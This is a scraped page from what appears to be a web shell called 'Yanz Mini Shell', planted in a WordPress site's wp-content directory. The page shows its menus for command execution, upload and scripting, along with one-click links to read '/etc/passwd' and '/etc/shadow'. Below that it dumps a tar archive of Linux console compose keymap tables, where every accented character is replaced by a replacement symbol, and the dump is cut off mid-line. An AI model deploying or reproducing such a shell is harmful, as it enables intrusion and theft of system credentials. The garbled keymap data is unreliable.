Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
veronikagstoette
public_html
wp-content
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
vim-compose.latin1 0000644 00000020322 15246417712 0010124 0 ustar 00 # Compose ISO-8859-1 characters following vim's digraphs # (based on the "Default digraphs on non-MS-DOS, non-Win32 machines" table # (":help digraph_table") of vim 4.6. # To follow vim's behaviour, we need to give each combination twice # (both char1 char2 and char2 char1) (":help i_digraph": "If a digraph with # {char1}{char2} does not exist, a digraph {char2}{char1} is searched for. # This will help when you don't remember which character comes first.") # # By J.H.M.Dassen <jdassen@wi.leidenuniv.nl> # compose ' ' ' ' to ' ' # 160 NO-BREAK SPACE (not a vim digraph) compose '!' '~' to '�' # 161 INVERTED EXCLAMATION MARK compose '~' '!' to '�' # 161 compose 'c' '|' to '�' # 162 CENT SIGN compose '|' 'c' to '�' # 162 compose '$' '$' to '�' # 163 POUND SIGN compose 'o' 'x' to '�' # 164 CURRENCY SIGN compose 'x' 'o' to '�' # 164 compose '-' 'Y' to '�' # 165 YEN SIGN compose 'Y' '-' to '�' # 165 compose '|' '|' to '�' # 166 BROKEN BAR compose 'a' 'p' to '�' # 167 SECTION SIGN compose 'p' 'a' to '�' # 167 compose '"' '"' to '�' # 168 DIAERESIS compose 'O' 'c' to '�' # 169 COPYRIGHT SIGN compose 'c' 'O' to '�' # 169 compose '-' 'a' to '�' # 170 FEMININE ORDINAL INDICATOR compose 'a' '-' to '�' # 170 compose '<' '<' to '�' # 171 LEFT-POINTING DOUBLE ANGLE QUOTATION MARK compose ',' '-' to '�' # 172 NOT SIGN compose '-' ',' to '�' # 172 compose '-' '-' to '�' # 173 SOFT HYPHEN compose 'O' 'r' to '�' # 174 REGISTERED SIGN compose 'r' 'O' to '�' # 174 compose '-' '=' to '�' # 175 MACRON compose '=' '-' to '�' # 175 compose '~' 'o' to '�' # 176 DEGREE SIGN compose '+' '-' to '�' # 177 PLUS-MINUS SIGN compose '-' '+' to '�' # 177 compose '2' '2' to '�' # 178 SUPERSCRIPT TWO compose '3' '3' to '�' # 179 SUPERSCRIPT THREE compose ''' ''' to '�' # 180 ACUTE ACCENT compose 'j' 'u' to '�' # 181 MICRO SIGN compose 'u' 'j' to '�' # 181 compose 'p' 'p' to '�' # 182 PILCROW SIGN compose '.' '~' to '�' # 183 MIDDLE DOT compose '~' '.' to '�' # 183 compose ',' ',' to '�' # 184 CEDILLA compose '1' '1' to '�' # 185 SUPERSCRIPT ONE compose '-' 'o' to '�' # 186 MASCULINE ORDINAL INDICATOR compose 'o' '-' to '�' # 186 compose '>' '>' to '�' # 187 RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK compose '1' '4' to '�' # 188 VULGAR FRACTION ONE QUARTER compose '4' '1' to '�' # 188 compose '1' '2' to '�' # 189 VULGAR FRACTION ONE HALF compose '2' '1' to '�' # 189 compose '3' '4' to '�' # 190 VULGAR FRACTION THREE QUARTERS compose '4' '3' to '�' # 190 compose '?' '~' to '�' # 191 INVERTED QUESTION MARK compose '~' '?' to '�' # 191 compose 'A' '`' to '�' # 192 LATIN CAPITAL LETTER A WITH GRAVE compose '`' 'A' to '�' # 192 compose ''' 'A' to '�' # 193 LATIN CAPITAL LETTER A WITH ACUTE compose 'A' ''' to '�' # 193 compose 'A' '^' to '�' # 194 LATIN CAPITAL LETTER A WITH CIRCUMFLEX compose '^' 'A' to '�' # 194 compose 'A' '~' to '�' # 195 LATIN CAPITAL LETTER A WITH TILDE compose '~' 'A' to '�' # 195 compose '"' 'A' to '�' # 196 LATIN CAPITAL LETTER A WITH DIAERESIS compose 'A' '"' to '�' # 196 compose '@' 'A' to '�' # 197 LATIN CAPITAL LETTER A WITH RING ABOVE compose 'A' '@' to '�' # 197 compose 'A' 'E' to '�' # 198 LATIN CAPITAL LIGATURE AE compose 'E' 'A' to '�' # 198 compose ',' 'C' to '�' # 199 LATIN CAPITAL LETTER C WITH CEDILLA compose 'C' ',' to '�' # 199 compose 'E' '`' to '�' # 200 LATIN CAPITAL LETTER E WITH GRAVE compose '`' 'E' to '�' # 200 compose ''' 'E' to '�' # 201 LATIN CAPITAL LETTER E WITH ACUTE compose 'E' ''' to '�' # 201 compose 'E' '^' to '�' # 202 LATIN CAPITAL LETTER E WITH CIRCUMFLEX compose '^' 'E' to '�' # 202 compose '"' 'E' to '�' # 203 LATIN CAPITAL LETTER E WITH DIAERESIS compose 'E' '"' to '�' # 203 compose 'I' '`' to '�' # 204 LATIN CAPITAL LETTER I WITH GRAVE compose '`' 'I' to '�' # 204 compose ''' 'I' to '�' # 205 LATIN CAPITAL LETTER I WITH ACUTE compose 'I' ''' to '�' # 205 compose 'I' '^' to '�' # 206 LATIN CAPITAL LETTER I WITH CIRCUMFLEX compose '^' 'I' to '�' # 206 compose '"' 'I' to '�' # 207 LATIN CAPITAL LETTER I WITH DIAERESIS compose 'I' '"' to '�' # 207 compose '-' 'D' to '�' # 208 LATIN CAPITAL LETTER ETH compose 'D' '-' to '�' # 208 compose 'N' '~' to '�' # 209 LATIN CAPITAL LETTER N WITH TILDE compose '~' 'N' to '�' # 209 compose 'O' '`' to '�' # 210 LATIN CAPITAL LETTER O WITH GRAVE compose '`' 'O' to '�' # 210 compose ''' 'O' to '�' # 211 LATIN CAPITAL LETTER O WITH ACUTE compose 'O' ''' to '�' # 211 compose 'O' '^' to '�' # 212 LATIN CAPITAL LETTER O WITH CIRCUMFLEX compose '^' 'O' to '�' # 212 compose 'O' '~' to '�' # 213 LATIN CAPITAL LETTER O WITH TILDE compose '~' 'O' to '�' # 213 compose '"' 'O' to '�' # 214 LATIN CAPITAL LETTER O WITH DIAERESIS compose 'O' '"' to '�' # 214 compose '/' '\' to '�' # 215 MULTIPLICATION SIGN compose '\' '/' to '�' # 215 compose '/' 'O' to '�' # 216 LATIN CAPITAL LETTER O WITH STROKE compose 'O' '/' to '�' # 216 compose 'U' '`' to '�' # 217 LATIN CAPITAL LETTER U WITH GRAVE compose '`' 'U' to '�' # 217 compose ''' 'U' to '�' # 218 LATIN CAPITAL LETTER U WITH ACUTE compose 'U' ''' to '�' # 218 compose 'U' '^' to '�' # 219 LATIN CAPITAL LETTER U WITH CIRCUMFLEX compose '^' 'U' to '�' # 219 compose '"' 'U' to '�' # 220 LATIN CAPITAL LETTER U WITH DIAERESIS compose 'U' '"' to '�' # 220 compose ''' 'Y' to '�' # 221 LATIN CAPITAL LETTER Y WITH ACUTE compose 'Y' ''' to '�' # 221 compose 'I' 'p' to '�' # 222 LATIN CAPITAL LETTER THORN compose 'p' 'I' to '�' # 222 compose 's' 's' to '�' # 223 LATIN SMALL LETTER SHARP S compose '`' 'a' to '�' # 224 LATIN SMALL LETTER A WITH GRAV compose 'a' '`' to '�' # 224 compose ''' 'a' to '�' # 225 LATIN SMALL LETTER A WITH ACUTE compose 'a' ''' to '�' # 225 compose '^' 'a' to '�' # 226 LATIN SMALL LETTER A WITH CIRCUMFLEX compose 'a' '^' to '�' # 226 compose 'a' '~' to '�' # 227 LATIN SMALL LETTER A WITH TILDE compose '~' 'a' to '�' # 227 compose '"' 'a' to '�' # 228 LATIN SMALL LETTER A WITH DIAERESIS compose 'a' '"' to '�' # 228 compose '@' 'a' to '�' # 229 LATIN SMALL LETTER A WITH RING ABOVE compose 'a' '@' to '�' # 229 compose 'a' 'e' to '�' # 230 LATIN SMALL LIGATURE AE compose 'e' 'a' to '�' # 230 compose ',' 'c' to '�' # 231 LATIN SMALL LETTER C WITH CEDILLA compose 'c' ',' to '�' # 231 compose '`' 'e' to '�' # 232 LATIN SMALL LETTER E WITH GRAVE compose 'e' '`' to '�' # 232 compose ''' 'e' to '�' # 233 LATIN SMALL LETTER E WITH ACUTE compose 'e' ''' to '�' # 233 compose '^' 'e' to '�' # 234 LATIN SMALL LETTER E WITH CIRCUMFLEX compose 'e' '^' to '�' # 234 compose '"' 'e' to '�' # 235 LATIN SMALL LETTER E WITH DIAERESIS compose 'e' '"' to '�' # 235 compose '`' 'i' to '�' # 236 LATIN SMALL LETTER I WITH GRAVE compose 'i' '`' to '�' # 236 compose ''' 'i' to '�' # 237 LATIN SMALL LETTER I WITH ACUTE compose 'i' ''' to '�' # 237 compose '^' 'i' to '�' # 238 LATIN SMALL LETTER I WITH CIRCUMFLEX compose 'i' '^' to '�' # 238 compose '"' 'i' to '�' # 239 LATIN SMALL LETTER I WITH DIAERESIS compose 'i' '"' to '�' # 239 compose '-' 'd' to '�' # 240 LATIN SMALL LETTER ETH compose 'd' '-' to '�' # 240 compose 'n' '~' to '�' # 241 LATIN SMALL LETTER N WITH TILDE compose '~' 'n' to '�' # 241 compose '`' 'o' to '�' # 242 LATIN SMALL LETTER O WITH GRAVE compose 'o' '`' to '�' # 242 compose ''' 'o' to '�' # 243 LATIN SMALL LETTER O WITH ACUTE compose 'o' ''' to '�' # 243 compose '^' 'o' to '�' # 244 LATIN SMALL LETTER O WITH CIRCUMFLEX compose 'o' '^' to '�' # 244 compose 'o' '~' to '�' # 245 LATIN SMALL LETTER O WITH TILDE compose '"' 'o' to '�' # 246 LATIN SMALL LETTER O WITH DIAERESIS compose 'o' '"' to '�' # 246 compose '-' ':' to '�' # 247 DIVISION SIGN compose ':' '-' to '�' # 247 compose '/' 'o' to '�' # 248 LATIN SMALL LETTER O WITH STROKE compose 'o' '/' to '�' # 248 compose '`' 'u' to '�' # 249 LATIN SMALL LETTER U WITH GRAVE compose 'u' '`' to '�' # 249 compose ''' 'u' to '�' # 250 LATIN SMALL LETTER U WITH ACUTE compose 'u' ''' to '�' # 250 compose '^' 'u' to '�' # 251 LATIN SMALL LETTER U WITH CIRCUMFLEX compose 'u' '^' to '�' # 251 compose '"' 'u' to '�' # 252 LATIN SMALL LETTER U WITH DIAERESIS compose 'u' '"' to '�' # 252 compose ''' 'y' to '�' # 253 LATIN SMALL LETTER Y WITH ACUTE compose 'y' ''' to '�' # 253 compose 'i' 'p' to '�' # 254 LATIN SMALL LETTER THORN compose 'p' 'i' to '�' # 254 compose '"' 'y' to '�' # 255 LATIN SMALL LETTER Y WITH DIAERESIS compose 'y' '"' to '�' # 255 # ## ^K introduces digraphs in vim. # control keycode 37 = Compose compose.latin1 0000644 00000007461 15246417712 0007344 0 ustar 00 compose '`' 'A' to '�' compose '`' 'a' to '�' compose '\'' 'A' to '�' compose '\'' 'a' to '�' compose '^' 'A' to '�' compose '^' 'a' to '�' compose '~' 'A' to '�' compose '~' 'a' to '�' compose '"' 'A' to '�' compose '"' 'a' to '�' compose '-' 'a' to '�' compose '-' 'A' to '�' compose 'O' 'A' to '�' compose 'o' 'a' to '�' compose '0' 'A' to '�' compose '0' 'a' to '�' compose 'A' 'A' to '�' compose 'a' 'a' to '�' compose '�' 'A' to '�' compose '�' 'a' to '�' compose 'A' 'E' to '�' compose 'a' 'e' to '�' compose ',' 'C' to '�' compose ',' 'c' to '�' compose '^' 'C' to '�' compose '^' 'c' to '�' compose '`' 'E' to '�' compose '`' 'e' to '�' compose '\'' 'E' to '�' compose '\'' 'e' to '�' compose '^' 'E' to '�' compose '^' 'e' to '�' compose '"' 'E' to '�' compose '"' 'e' to '�' compose '`' 'I' to '�' compose '`' 'i' to '�' compose '\'' 'I' to '�' compose '\'' 'i' to '�' compose '^' 'I' to '�' compose '^' 'i' to '�' compose '"' 'I' to '�' compose '"' 'i' to '�' compose '-' 'D' to '�' compose '-' 'd' to '�' compose '^' 'D' to '�' compose '^' 'd' to '�' compose '~' 'N' to '�' compose '~' 'n' to '�' compose '^' 'N' to '�' compose '^' 'n' to '�' compose '`' 'O' to '�' compose '`' 'o' to '�' compose '\'' 'O' to '�' compose '\'' 'o' to '�' compose '^' 'O' to '�' compose '^' 'o' to '�' compose '~' 'O' to '�' compose '~' 'o' to '�' compose '"' 'O' to '�' compose '"' 'o' to '�' compose '/' 'O' to '�' compose '/' 'o' to '�' compose '-' 'o' to '�' compose '-' 'O' to '�' compose '`' 'U' to '�' compose '`' 'u' to '�' compose '\'' 'U' to '�' compose '\'' 'u' to '�' compose '^' 'U' to '�' compose '^' 'u' to '�' compose '"' 'U' to '�' compose '"' 'u' to '�' compose '\'' 'Y' to '�' compose '\'' 'y' to '�' compose 'T' 'H' to '�' compose 't' 'h' to '�' compose 's' 's' to '�' compose '"' 'y' to '�' compose 's' 'z' to '�' compose 'n' 'n' to '�' compose 'n' 'h' to '�' compose 'N' 'Y' to '�' compose 'N' 'N' to '�' compose 'N' 'H' to '�' compose 'N' 'y' to '�' compose 'N' 'n' to '�' compose 'N' 'h' to '�' compose '-' 'L' to '�' compose '<' '<' to '�' compose '>' '>' to '�' compose '?' '?' to '�' compose '^' '?' to '�' compose '!' '!' to '�' compose '^' '!' to '�' compose '^' '1' to '�' compose '^' '2' to '�' compose '^' '3' to '�' compose '+' '-' to '�' compose 'c' '=' to '�' compose 'c' '/' to '�' compose '/' 'c' to '�' compose '-' 'c' to '�' compose '-' 'C' to '�' compose '|' 'c' to '�' compose '|' 'C' to '�' compose 'L' '=' to '�' compose '-' 'L' to '�' compose '-' 'l' to '�' compose '^' '*' to '�' compose '^' 'x' to '�' compose 'x' 'x' to '�' compose '^' '.' to '�' compose '.' '.' to '�' compose '^' '/' to '�' compose '^' ':' to '�' compose '-' ':' to '�' compose ':' '-' to '�' # � compose 'Y' '=' to '�' compose '=' 'Y' to '�' compose '-' 'Y' to '�' compose '-' 'l' to '�' # ��� compose '(' 'c' to '�' compose '"' 'c' to '�' compose 'O' 'C' to '�' compose '(' 'C' to '�' compose 'C' ')' to '�' compose '-' 'a' to '�' compose '-' 'A' to '�' compose '-' 'o' to '�' compose '-' 'O' to '�' # �� compose '(' 'r' to '�' compose '"' 'r' to '�' compose 'O' 'R' to '�' compose '(' 'R' to '�' compose 'R' ')' to '�' # ��� compose 'm' 'u' to '�' compose 'P' 'P' to '�' # �� # conflict whith iso-8859-15 #compose ',' ',' to '�' #compose ',' ' ' to '�' compose '1' '4' to '�' compose '1' '2' to '�' compose '3' '4' to '�' # iso-8859-15 # euro compose 'e' '=' to '�' compose '-' 'e' to '�' compose '-' 'E' to '�' compose '=' 'E' to '�' # S< s< Z< z< compose 'v' 'S' to '�' compose '^' 'S' to '�' compose 'v' 's' to '�' compose '^' 's' to '�' compose 'v' 'Z' to '�' compose '^' 'Z' to '�' compose 'v' 'z' to '�' compose '^' 'z' to '�' # OE oe Y: compose 'O' 'E' to '�' compose 'O' 'e' to '�' compose 'o' 'e' to '�' compose '"' 'Y' to '�' # those are in fact wrong # the symbols are LATIN Y WHITH DIAERESIS and not LATIN LIGATURE IJ compose 'i' 'j' to '�' compose 'I' 'J' to '�' compose.8859_7 0000644 00000001005 15246417712 0007003 0 ustar 00 # tonos and dialitika compose '^' '�' to '�' compose '^' '�' to '�' # tonos compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' compose '\'' '�' to '�' # dialitika compose '"' '�' to '�' compose '"' '�' to '�' compose '"' '�' to '�' compose '"' '�' to '�' compose.latin 0000644 00000013616 15246417712 0007262 0 ustar 00 # Those compose lines can be shared between latin1, 2 and 3. They give good # results. compose '!' '!' to '�' compose '"' 'A' to '�' compose '"' 'E' to '�' compose '"' 'I' to '�' compose '"' 'O' to '�' compose '"' 'U' to '�' compose '"' 'Y' to '�' compose '"' 'a' to '�' compose '"' 'c' to '�' compose '"' 'e' to '�' compose '"' 'i' to '�' compose '"' 'o' to '�' compose '"' 'r' to '�' compose '"' 'u' to '�' compose '"' 'y' to '�' compose '(' 'c' to '�' compose '(' 'r' to '�' compose '+' '-' to '�' compose ',' 'A' to '�' compose ',' 'C' to '�' compose ',' 'E' to '�' compose ',' 'G' to '�' compose ',' 'I' to '�' compose ',' 'K' to '�' compose ',' 'L' to '�' compose ',' 'N' to '�' compose ',' 'R' to '�' compose ',' 'S' to '�' compose ',' 'T' to '�' compose ',' 'U' to '�' compose ',' 'a' to '�' compose ',' 'c' to '�' compose ',' 'e' to '�' compose ',' 'g' to '�' compose ',' 'i' to '�' compose ',' 'k' to '�' compose ',' 'l' to '�' compose ',' 'n' to '�' compose ',' 'r' to '�' compose ',' 's' to '�' compose ',' 't' to '�' compose ',' 'u' to '�' compose '-' ':' to '�' compose '-' 'A' to '�' compose '-' 'C' to '�' compose '-' 'D' to '�' compose '-' 'E' to '�' compose '-' 'H' to '�' compose '-' 'L' to '�' compose '-' 'O' to '�' compose '-' 'T' to '�' compose '-' 'Y' to '�' compose '-' 'a' to '�' compose '-' 'c' to '�' compose '-' 'd' to '�' compose '-' 'e' to '�' compose '-' 'h' to '�' compose '-' 'l' to '�' compose '-' 'l' to '�' compose '-' 'l' to '�' compose '-' 'o' to '�' compose '-' 't' to '�' compose '.' '.' to '�' compose '.' 'C' to '�' compose '.' 'C' to '�' compose '.' 'E' to '�' compose '.' 'I' to '�' compose '.' 'Z' to '�' compose '.' 'c' to '�' compose '.' 'c' to '�' compose '.' 'e' to '�' compose '.' 'i' to '�' compose '.' 'z' to '�' compose '/' 'D' to '�' compose '/' 'L' to '�' compose '/' 'O' to '�' compose '/' 'T' to '�' compose '/' 'c' to '�' compose '/' 'd' to '�' compose '/' 'l' to '�' compose '/' 'o' to '�' compose '/' 't' to '�' compose '0' 'A' to '�' compose '0' 'U' to '�' compose '0' 'a' to '�' compose '0' 'u' to '�' compose '1' '2' to '�' compose '1' '4' to '�' compose '3' '4' to '�' compose ':' '-' to '�' compose ':' 'A' to '�' compose ':' 'E' to '�' compose ':' 'O' to '�' compose ':' 'U' to '�' compose ':' 'a' to '�' compose ':' 'e' to '�' compose ':' 'o' to '�' compose ':' 'u' to '�' compose '<' '<' to '�' compose '>' '>' to '�' compose '?' '?' to '�' compose 'A' 'A' to '�' compose 'A' 'E' to '�' compose 'I' 'J' to '�' compose 'L' '=' to '�' compose 'N' 'G' to '�' compose 'N' 'H' to '�' compose 'N' 'N' to '�' compose 'N' 'Y' to '�' compose 'N' 'h' to '�' compose 'N' 'n' to '�' compose 'N' 'y' to '�' compose 'O' 'A' to '�' compose 'O' 'E' to '�' compose 'O' 'e' to '�' compose 'T' 'H' to '�' compose 'U' 'U' to '�' compose 'Y' '=' to '�' compose '\'' 'A' to '�' compose '\'' 'C' to '�' compose '\'' 'E' to '�' compose '\'' 'I' to '�' compose '\'' 'L' to '�' compose '\'' 'N' to '�' compose '\'' 'O' to '�' compose '\'' 'R' to '�' compose '\'' 'S' to '�' compose '\'' 'U' to '�' compose '\'' 'Y' to '�' compose '\'' 'Z' to '�' compose '\'' 'a' to '�' compose '\'' 'c' to '�' compose '\'' 'e' to '�' compose '\'' 'i' to '�' compose '\'' 'l' to '�' compose '\'' 'n' to '�' compose '\'' 'o' to '�' compose '\'' 'r' to '�' compose '\'' 's' to '�' compose '\'' 'u' to '�' compose '\'' 'y' to '�' compose '\'' 'z' to '�' compose '^' '!' to '�' compose '^' '*' to '�' compose '^' '.' to '�' compose '^' '/' to '�' compose '^' '1' to '�' compose '^' '2' to '�' compose '^' '3' to '�' compose '^' ':' to '�' compose '^' '?' to '�' compose '^' 'A' to '�' #compose '^' 'C' to '�' compose '^' 'C' to '�' #compose '^' 'C' to '�' #compose '^' 'D' to '�' compose '^' 'D' to '�' compose '^' 'E' to '�' #compose '^' 'E' to '�' compose '^' 'G' to '�' compose '^' 'H' to '�' compose '^' 'I' to '�' compose '^' 'J' to '�' compose '^' 'L' to '�' compose '^' 'N' to '�' #compose '^' 'N' to '�' #compose '^' 'O' to '�' #compose '^' 'O' to '�' compose '^' 'R' to '�' compose '^' 'S' to '�' #compose '^' 'S' to '�' #compose '^' 'S' to '�' compose '^' 'T' to '�' compose '^' 'U' to '�' #compose '^' 'Z' to '�' compose '^' 'Z' to '�' compose '^' 'a' to '�' #compose '^' 'c' to '�' compose '^' 'c' to '�' #compose '^' 'c' to '�' #compose '^' 'd' to '�' compose '^' 'd' to '�' compose '^' 'e' to '�' #compose '^' 'e' to '�' compose '^' 'g' to '�' compose '^' 'h' to '�' compose '^' 'i' to '�' compose '^' 'j' to '�' compose '^' 'l' to '�' compose '^' 'n' to '�' #compose '^' 'n' to '�' compose '^' 'o' to '�' compose '^' 'r' to '�' compose '^' 's' to '�' #compose '^' 's' to '�' #compose '^' 's' to '�' compose '^' 't' to '�' compose '^' 'u' to '�' compose '^' 'x' to '�' compose '^' 'z' to '�' #compose '^' 'z' to '�' compose '`' 'A' to '�' #compose '`' 'E' to '�' compose '`' 'E' to '�' compose '`' 'I' to '�' #compose '`' 'I' to '�' compose '`' 'O' to '�' compose '`' 'U' to '�' #compose '`' 'U' to '�' compose '`' 'a' to '�' #compose '`' 'e' to '�' compose '`' 'e' to '�' compose '`' 'i' to '�' #compose '`' 'i' to '�' compose '`' 'o' to '�' #compose '`' 'u' to '�' compose '`' 'u' to '�' #compose '`' 'u' to '�' compose 'a' 'a' to '�' compose 'a' 'e' to '�' compose 'c' '/' to '�' compose 'c' '=' to '�' compose 'e' '=' to '�' compose 'i' 'j' to '�' compose 'm' 'u' to '�' compose 'n' 'g' to '�' compose 'n' 'h' to '�' compose 'n' 'n' to '�' compose 'o' 'a' to '�' compose 'o' 'e' to '�' compose 's' 's' to '�' compose 's' 'z' to '�' compose 't' 'h' to '�' compose 'u' 'u' to '�' compose 'v' 'S' to '�' compose 'v' 'Z' to '�' compose 'v' 's' to '�' compose 'v' 'z' to '�' compose 'x' 'x' to '�' compose '~' 'A' to '�' compose '~' 'G' to '�' compose '~' 'I' to '�' compose '~' 'N' to '�' compose '~' 'O' to '�' #compose '~' 'U' to '�' compose '~' 'U' to '�' compose '~' 'a' to '�' compose '~' 'g' to '�' compose '~' 'i' to '�' compose '~' 'n' to '�' compose '~' 'o' to '�' #compose '~' 'u' to '�' compose '~' 'u' to '�' # compose '|' 's' to '$' compose '|' 'S' to '$' compose 'S' 'S' to '�' # compose.latin2 0000644 00000006611 15246417712 0007341 0 ustar 00 # as dead_ogonek, dead_caron, dead_breve and dead_doubleacute doesn't exist # (yet), I put also compose lines for use with respectively dead_cedilla, # dead_circumflex, dead_tilde and dead_tilde compose '�' 'A' to '�' compose '�' 'a' to '�' compose '�' 'e' to '�' compose '�' 'E' to '�' compose ',' 'A' to '�' compose ',' 'a' to '�' compose ',' 'e' to '�' compose ',' 'E' to '�' compose ',' 'S' to '�' compose ',' 's' to '�' compose ',' 'C' to '�' compose ',' 'c' to '�' compose ',' 'T' to '�' compose ',' 't' to '�' compose '�' 'a' to '�' compose '�' 'A' to '�' compose '~' 'a' to '�' compose '~' 'A' to '�' compose '-' 'l' to '�' compose '-' 'L' to '�' compose '-' 'D' to '�' compose '-' 'd' to '�' compose '/' 'l' to '�' compose '/' 'L' to '�' compose '/' 'D' to '�' compose '/' 'd' to '�' compose '\'' 's' to '�' compose '\'' 'S' to '�' compose '\'' 'z' to '�' compose '\'' 'Z' to '�' compose '\'' 'r' to '�' compose '\'' 'R' to '�' compose '\'' 'A' to '�' compose '\'' 'a' to '�' compose '\'' 'l' to '�' compose '\'' 'L' to '�' compose '\'' 'c' to '�' compose '\'' 'C' to '�' compose '\'' 'E' to '�' compose '\'' 'e' to '�' compose '\'' 'I' to '�' compose '\'' 'i' to '�' compose '\'' 'n' to '�' compose '\'' 'N' to '�' compose '\'' 'O' to '�' compose '\'' 'o' to '�' compose '\'' 'U' to '�' compose '\'' 'u' to '�' compose '\'' 'Y' to '�' compose '\'' 'y' to '�' compose '"' 'a' to '�' compose '"' 'A' to '�' compose '"' 'e' to '�' compose '"' 'E' to '�' compose '"' 'o' to '�' compose '"' 'O' to '�' compose '"' 'u' to '�' compose '"' 'U' to '�' compose '�' 'l' to '�' compose '�' 'L' to '�' compose '�' 'S' to '�' compose '�' 's' to '�' compose '�' 'T' to '�' compose '�' 't' to '�' compose '�' 'Z' to '�' compose '�' 'z' to '�' compose '�' 'C' to '�' compose '�' 'c' to '�' compose '�' 'e' to '�' compose '�' 'E' to '�' compose '�' 'D' to '�' compose '�' 'd' to '�' compose '�' 'N' to '�' compose '�' 'n' to '�' compose '�' 'R' to '�' compose '�' 'r' to '�' compose '�' 'Z' to '�' compose '�' 'z' to '�' compose '.' 'Z' to '�' compose '.' 'z' to '�' compose '^' 'A' to '�' compose '^' 'a' to '�' compose '^' 'I' to '�' compose '^' 'i' to '�' compose '^' 'O' to '�' compose '^' 'o' to '�' compose '^' 'l' to '�' compose '^' 'L' to '�' compose '^' 'S' to '�' compose '^' 's' to '�' compose '^' 'T' to '�' compose '^' 't' to '�' compose '^' 'Z' to '�' compose '^' 'z' to '�' compose '^' 'C' to '�' compose '^' 'c' to '�' compose '^' 'e' to '�' compose '^' 'E' to '�' compose '^' 'D' to '�' compose '^' 'd' to '�' compose '^' 'N' to '�' compose '^' 'n' to '�' compose '^' 'R' to '�' compose '^' 'r' to '�' compose '�' 'O' to '�' compose '�' 'o' to '�' compose '�' 'U' to '�' compose '�' 'u' to '�' compose '~' 'O' to '�' compose '~' 'o' to '�' compose '~' 'U' to '�' compose '~' 'u' to '�' compose 's' 's' to '�' compose 's' 'z' to '�' compose '-' 'L' to '�' compose '-' 'l' to '�' compose '-' 'D' to '�' compose '-' 'd' to '�' compose '�' 'U' to '�' compose '�' 'u' to '�' compose '0' 'U' to '�' compose '0' 'u' to '�' compose 'U' 'U' to '�' compose 'u' 'u' to '�' compose ':' 'A' to '�' compose ':' 'E' to '�' compose ':' 'O' to '�' compose ':' 'U' to '�' compose ':' 'a' to '�' compose ':' 'e' to '�' compose ':' 'o' to '�' compose ':' 'u' to '�' # compose '^' '*' to '�' compose '^' 'x' to '�' compose 'x' 'x' to '�' compose '^' '.' to '�' compose '.' '.' to '�' compose '^' '/' to '�' compose '^' ':' to '�' compose '-' ':' to '�' compose ':' '-' to '�' compose.8859_8 0000644 00000000027 15246417712 0007007 0 ustar 00 compose 'c' 'h' to '�' compose.latin4 0000644 00000005521 15246417712 0007342 0 ustar 00 # as dead_ogonek, dead_caron, dead_breve and dead_doubleacute doesn't exist # (yet), I put also compose lines for use with respectively dead_cedilla, # dead_circumflex, dead_tilde and dead_tilde compose '�' 'A' to '�' compose '�' 'a' to '�' compose '�' 'e' to '�' compose '�' 'E' to '�' compose '�' 'U' to '�' compose '�' 'u' to '�' compose '�' 'I' to '�' compose '�' 'i' to '�' compose ',' 'A' to '�' compose ',' 'a' to '�' compose ',' 'e' to '�' compose ',' 'E' to '�' compose ',' 'U' to '�' compose ',' 'u' to '�' compose ',' 'I' to '�' compose ',' 'i' to '�' compose ',' 'R' to '�' compose ',' 'r' to '�' compose ',' 'n' to '�' compose ',' 'N' to '�' compose ',' 'K' to '�' compose ',' 'k' to '�' compose ',' 'l' to '�' compose ',' 'L' to '�' compose ',' 'G' to '�' compose ',' 'g' to '�' compose '`' 'a' to '�' compose '`' 'A' to '�' compose '`' 'E' to '�' compose '`' 'e' to '�' compose '`' 'U' to '�' compose '`' 'u' to '�' compose '`' 'I' to '�' compose '`' 'i' to '�' compose '`' 'O' to '�' compose '`' 'o' to '�' compose '-' 'D' to '�' compose '-' 'd' to '�' compose '-' 't' to '�' compose '-' 'T' to '�' compose '/' 'D' to '�' compose '/' 'd' to '�' compose '/' 't' to '�' compose '/' 'T' to '�' compose '~' 'a' to '�' compose '~' 'A' to '�' compose '~' 'i' to '�' compose '~' 'I' to '�' compose '~' 'O' to '�' compose '~' 'o' to '�' compose '~' 'U' to '�' compose '~' 'u' to '�' compose 'O' 'A' to '�' compose 'o' 'a' to '�' compose '0' 'A' to '�' compose '0' 'a' to '�' compose 'A' 'A' to '�' compose 'a' 'a' to '�' compose 'a' 'e' to '�' compose 'A' 'E' to '�' compose '\'' 'A' to '�' compose '\'' 'a' to '�' compose '\'' 'E' to '�' compose '\'' 'e' to '�' compose '\'' 'I' to '�' compose '\'' 'i' to '�' compose '\'' 'U' to '�' compose '\'' 'u' to '�' compose '"' 'a' to '�' compose '"' 'A' to '�' compose '"' 'e' to '�' compose '"' 'E' to '�' compose '"' 'o' to '�' compose '"' 'O' to '�' compose '"' 'u' to '�' compose '"' 'U' to '�' compose '�' 'S' to '�' compose '�' 's' to '�' compose '�' 'Z' to '�' compose '�' 'z' to '�' compose '�' 'C' to '�' compose '�' 'c' to '�' compose '^' 'S' to '�' compose '^' 's' to '�' compose '^' 'Z' to '�' compose '^' 'z' to '�' compose '^' 'C' to '�' compose '^' 'c' to '�' compose '�' 'e' to '�' compose '�' 'E' to '�' compose '.' 'e' to '�' compose '.' 'E' to '�' compose '�' 'e' to '�' compose '�' 'E' to '�' compose '/' 'O' to '�' compose '/' 'o' to '�' compose 'N' 'G' to '�' compose 'n' 'g' to '�' compose '^' 'A' to '�' compose '^' 'a' to '�' compose '^' 'I' to '�' compose '^' 'i' to '�' compose '^' 'O' to '�' compose '^' 'o' to '�' compose '^' 'U' to '�' compose '^' 'u' to '�' compose 's' 's' to '�' compose 's' 'z' to '�' # compose '^' '*' to '�' compose '^' 'x' to '�' compose 'x' 'x' to '�' compose '^' '.' to '�' compose '.' '.' to '�' compose '^' '/' to '�' compose '^' ':' to '�' compose '-' ':' to '�' compose ':' '-' to '�' compose.latin3 0000644 00000003765 15246417712 0007351 0 ustar 00 compose '-' 'H' to '�' compose '-' 'h' to '�' compose '^' 